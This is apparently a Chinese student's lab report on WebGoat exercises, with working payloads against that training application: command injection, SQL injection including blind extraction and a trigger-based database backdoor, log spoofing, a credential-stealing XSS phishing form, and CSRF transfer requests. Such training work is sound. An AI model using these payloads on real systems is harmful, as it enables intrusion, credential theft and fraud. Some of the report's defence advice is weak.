2019-2020-2 20175235 泽仁拉措《网络对抗技术》 Exp9 web安全基础
2019-2020-2 网络对抗技术 Exp8 web基础
20175235泽仁拉措
目录
一、实验过程
1.Webgoat准备
WebGoat: Webgoat是OWASP组织研究出的一个专门进行web漏洞实验的应用品台,这个平台里包含了web中常见的各种漏洞,例如:跨站脚本攻击、sql注入、访问控制、隐藏字段、Cookie等;
-
在
kali
中输入指令java -jar webgoat-container-7.0.1-war-exec.jar
打开WebGoat
-
运行一段时间之后命令行出现
Starting ProtocolHandler
证明开启成功
-
打开浏览器,在浏览器中输入
http://localhost:8080/WebGoat
进入WebGoat
登录界面,直接用默认用户名密码登录即可;
-
登录成功后;
2.SQL注入攻击
所谓SQL注入,就是通过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令,比如先前的很多影视网站泄露VIP会员密码大多就是通过WEB表单递交查询字符暴出的,这类表单特别容易受到SQL注入式攻击.当应用程序使用输入内容来构造动态sql语句以访问数据库时,会发生sql注入攻击。如果代码使用存储过程,而这些存储过程作为包含未筛选的用户输入的字符串来传递,也会发生sql注入。 黑客通过SQL注入攻击可以拿到网站数据库的访问权限,之后他们就可以拿到网站数据库中所有的数据,恶意的黑客可以通过SQL注入功能篡改数据库中的数据甚至会把数据库中的数据毁坏掉。做为网络开发者的你对这种黑客行为恨之入骨,当然也有必要了解一下SQL注入这种功能方式的原理并学会如何通过代码来保护自己的网站数据库
2.1Command Injection 命令注入
Command Injection,即命令注入攻击,是指由于Web应用程序对用户提交的数据过滤不严格,导致黑客可以通过构造特殊命令字符串的方式,将数据提交至Web应用程序中,并利用该方式执行外部程序或系统命令实施攻击,非法获取数据或者网络资源等。在命令注入的漏洞中,最为常见的是PHP的命令注入。PHP命令注入攻击存在的主要原因是Web应用程序员在应用PHP语言中一些具有命令执行功能的函数时,对用户提交的数据内容没有进行严格的过滤就带入函数中执行而造成的。例如,当黑客提交的数据内容为向网站目录写入PHP文件时,就可以通过该命令注入攻击漏洞写入一个PHP后门文件,进而实施下一步渗透攻击。
-
在左侧菜单栏中选择
Injection Flaws->Command Injection
,在复选框中任意一栏的代码,右键单击后,选择Edit At Html
进行修改
-
添加"& netstat -an & ipconfig"
-
点击
view
,查看执行指令后的网络端口使用情况和IP地址
2.2 Numeric SQL Injection 数字型注入
原理:通过选择不同地点,可以选择查看相应城市的信息。每选择一个城市,就会把该城市对应的station字段填入SELECT * FROM weather_data WHERE station = ?这条语句中,在数据库后台执行,并将从数据库中得到的搜索结果打印在屏幕上。
-
右键点击页面,选择
inspect Element
审查网页元素对源代码进行修改,选中的城市编号Value
值中添加or 1=1
-
点击
Go!
显示所有天气数据
2.3 Log Spoofing 日志欺骗
通过查看下方灰色区域,我们分析它代表在 Web 服务器的日志中的记录的内容。
目的:使用户名为“admin” 的用户在日志中显示“成功登录”。
方法:通过在日志文件中插入脚本实现。
- 在
username
中填入5235%0d%0aLogin Succeeded for username: admin
,利用回车(0D%)和换行符(%0A)让其在日志中两行显示; - 点击Login,可见5235在
Login Failed
那行显示,我们自己添加的语句在下一行显示
2.4 String SQL Injection 字符串型注入
目的:尝试通过 SQL 注入将所有信用卡信息显示出来。
方法:基于以下查询语句构造自己的 SQL 注入字符串。SELECT * FROM user_data WHERE last_name = '?'。
- 选择Injection Flaws中的String SQL Injection
- 输入查询的用户名
zrlc' or 1=1--
- 如此zrlc 和1=1都成了查询的条件,而1=1是恒等式,这样就能select表里面的所有数据。
2.5 LAB:SQL Injection SQL 注入
Stage 1: String SQL Injection > 通过注入字符串绕过认证-
右键点击页面,选择
inspect Element
审查网页元素对源代码进行修改,将password
密码框的最大长度限制改为20或更大
-
以用户
Neville(admit)
登录,输入密码hello' or '1' = '1
,成功得到所有人员列表
Stage 3: Numeric SQL Injection
通过注入数字型数据,绕过认证
可以通过普通账户,查看到管理员的用户信息
-
使用用户名
Larry
和密码larry
登录,浏览员工信息的按钮是ViewProfile
-
右键审查网页元素修改源代码,用社会工程学解释老板应该是工资最高的,所以将员工ID的
value
改成101 or 1=1 order by salary desc
,使得老板的信息作为查询到的第一条数据
-
成功得到老板的账户信息
2.6 Database Backdoors 数据库后门
数据库通常作为一个 Web 应用程序的后端,它可以被用来作为存储恶意活动的地方,如触发器
-
输入
id101
,我们可以看到插入查询语句的字符串没有经过任何处理,即可以输入多条语句进行增、删、改、查
-
输入注入语句
101; update employee set Password=20175235
执行,可以看见密码框成功变为了自己设置的密码
-
输入语句:
101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='zrlc@qq.com'WHERE userid = NEW.userid
- 之后当用户更新设置邮箱时,就会设置成攻击者的地址
2.7 Blind Numeric SQL Injection 数字型盲注入
原理:某些 SQL 注入是没有明确返回信息的,只能通过条件的“真”和“假”进行判断。攻击者必须充分利用查询语句,构造子查询语。
目标:该题目允许输入一个帐号,并检测该帐号是否合法。使用该表单的返回信息(真或假)测试检查数据库中其它条目信息。我们找到 pins 表中cc_number字段值为 1111222233334444 的记录中pin字段的数
值。pin 字段类型为 int,整型。输入找到的数值并提交,通过该题目。
-
输入查询语句
101 AND 1=1
,发现页面返回帐号有效
-
输入查询语句
101 AND 1=2
,发现页面返回帐号无效
-
针对查询语句的后半部分构造复杂语句,如:
101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 5000 ),提示Invalid account number表示PIN<5000,使用二分法,最终得出pin的值为2364
2.8 Blind String SQL Injection 字符串型盲注入
pin字段类型为varchar
-
查询语句:
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) <'H' );
-
该语句使用了
SUBSTRING
方法,取得PIN字段数值的第一个字母 -
Invalid account number
表示其PIN字段首字母≥H
-
经过多次测试(比较0-9、A-Z、a-z等字符串)和页面的返回数据,判断出第一个字符为J
-
同理继续判断第二个字符
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 2, 1) <'h' );
- 最终。判断出PIN字段的值为Jill
3.XSS攻击
XSS攻击通常指的是通过利用网页开发时留下的漏洞,通过巧妙的方法注入恶意指令代码到网页,使用户加载并执行攻击者恶意制造的网页程序。这些恶意网页程序通常是JavaScript,但实际上也可以包括Java、
VBScript、ActiveX、 Flash 或者甚至是普通的HTML。攻击成功后,攻击者可能得到包括但不限于更高的权限(如执行一些操作)、私密网页内容、会话和cookie等各种内容
XSS钓鱼(Phishing with XSS)
3.1 Phishing with XSS 跨站脚本钓鱼攻击
-
在
webgoat
找到Cross-Site Scripting (xss)攻击
-
打开第一个——
Phishing with XSS
-
将下面这段代码输入到Search输入框中,点击
search
</form><script>function hack(){ XSSImage=new Image; XSSImage.src="http://localhost/WebGoat/catcher?PROPERTY=yes&user="+ document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + "Password = " + document.phish.pass.value);} </script><form name="phish"><br><br><HR><H3>This feature requires account login:</H3 ><br><br>Enter Username:<br><input type="text" name="user"><br>Enter Password:<br><input type="password" name = "pass"><br><input type="submit" name="login" value="login" onclick="hack()"></form><br><br><HR>
- 这段代码会读取您在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat
3.2 Stored XSS Attacks 存储型XSS攻击
原理: 这种攻击常见于论坛等留言平台,用户留言的时候输入一段JavaScript脚本,这段脚本就会被保存在数据库中。因为是留言,所以任何用户在打开网页的时候,这个脚本就会被从数据库中取出来而运行。
目标: 写入非法的留言消息,可以导致其他用户访问时载入非预期的页面或内容
- 在
title
中输入任意字符,留言板中输入<script>alert("I am 20175235zrlc. You've been attacked!!!");</script>
,点击生成的message
,出现提示。
3.3 Reflected XSS Attacks 反射型XSS攻击
原理: 在反射的XSS攻击中,攻击者可以使用攻击脚本创建一个URL,并将其发布到另一个网站、通过电子邮件或其他方式让受害者点击它。
目标: 使用攻击脚本创建URL,并将其写入网站中,当读取到该URL的时候就会被攻击
- 在
Enter your three digit access code
框中输入<script>alert("You've been attacked!!! I'm 20175235zrlc");</script>
4.CSRF攻击
跨站请求伪造,尽管听起来像跨站脚本(XSS),但它与XSS非常不同,XSS利用站点内的信任用户,而CSRF则通过伪装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击往往不大流行(因
此对其进行防范的资源也相当稀少)和难以防范,所以被认为比XSS更具危险性。
4.1 Cross Site Request Forgery(CSRF) 跨站请求伪造
-
打开
Cross-Site Scripting (xss)
攻击中的第四个:Cross Site Request Forgery(CSRF)
-
查看页面下方
Parameters
中的src
和menu
值,分别为319
和900
-
在
message
框中输入
<img src="http://localhost:8080/WebGoat/attack?Screen=319&menu=900&transferFunds=5000" width="1" height="1" />
-
以图片的的形式将
URL
放进Message
框,这时的URL
对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF
事件,点击Submit
提交 -
提交后,在
Message List
中生成以Title
命名的链接(消息)。点击该消息,当前页面就会下载这个消息并显示出来,转走用户的5000元,从而达到CSRF
攻击的目的。
4.2 CSRF Prompt By-Pass 绕过 CSRF 确认
-
打开
Cross-Site Scripting (xss)
攻击中的第五个:CSRF Prompt By-Pass
-
同攻击4,查看页面下侧
Parameters
中的src
和menu
值 -
在
title
框中输入学号,message
框中输入代码
<iframe src="attack?Screen=330&menu=900&transferFunds=6000"> </iframe>
<iframe src="attack?Screen=330&menu=900&transferFunds=CONFIRM"> </iframe>
-
在
Message List
中生成以Title
命名的链接"20175235"。 -
点击进入后,如图攻击成功:
二、基础问题回答及实验过程遇到的问题
-
(1)SQL注入攻击原理,如何防御
-
原理:
通过在用户名、密码登输入框中输入一些',--,#等特殊字符,实现引号闭合、注释部分SQL语句,利用永真式实现登录、显示信息等目的。其实就是输入框中的字符提交到后台的数据库中会与SQL语句组合拼接,如
果猜测出后台的SQL语句格式,然后有针对性的输入,就可以达到相应目的。 -
防御办法:
可以在后台控制输入的长度或者禁止用户输入一些特定的特殊符号,例如 -- 、' 等。
可以通过JAVA中的绑定变量等方法进行预防,JAVA的绑定变量方法是吧用户的输入作为一种变量,对SQL语句进行预编译,这样在执行时就不是顺序执行,而是把输入作为一种变量进行处理,不会在运行时进行动态的
拼接SQL语句,防止了恶意的攻击代码被写入SQL语句进行解析和执行。
-
-
(2)XSS攻击的原理,如何防御
-
原理:
攻击者往Web页面里插入恶意html标签或者javascript代码,当用户浏览该页或者进行某些操作时,攻击者利用用户对原网站的信任,诱骗用户或浏览器执行一些不安全的操作或者向其它网站提交用户的私密信
息。 -
防御办法:
用户提高防范意识,不要轻易输入个人信息,如用户名密码。
在做网站时在输入到输出的过程中进行过滤、转义,进行HTML属性过滤,一旦用户输入的语句中含有javascript,jscript,vbscript,都用空白代替。还要过滤特殊字符:&、回车和空格,对一些会造成
-
-
(3)CSRF攻击原理,如何防御
-
原理:
CSRF就是冒名登录。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,因为目前主流情况Session都是存在Cookie中.攻击者并不关心被害者具体帐号和密码,因为一旦用户进行了登录,Session就是用
户的唯一凭证,只要攻击者能够得到Session,就可以伪装成被害者进入服务器。 -
防御办法:
在浏览器弹出是否保存密码时,选择不保存密码,这样不会产生cookie了,被外界获取的概率就会大大减小。 这次实验是web基础,因为有了上学期网编课的学习基础,所有操作起来比较顺利。
-
-
问题
- 打开网址时和别人的不一样
- 解决:
update-alternatives --config java
切换到jdk1.8
- 打开网址时和别人的不一样
三、总结
本次实验主要是对sql注入和XSS攻击进行了系统的学习,实验过程相对来说比较顺利。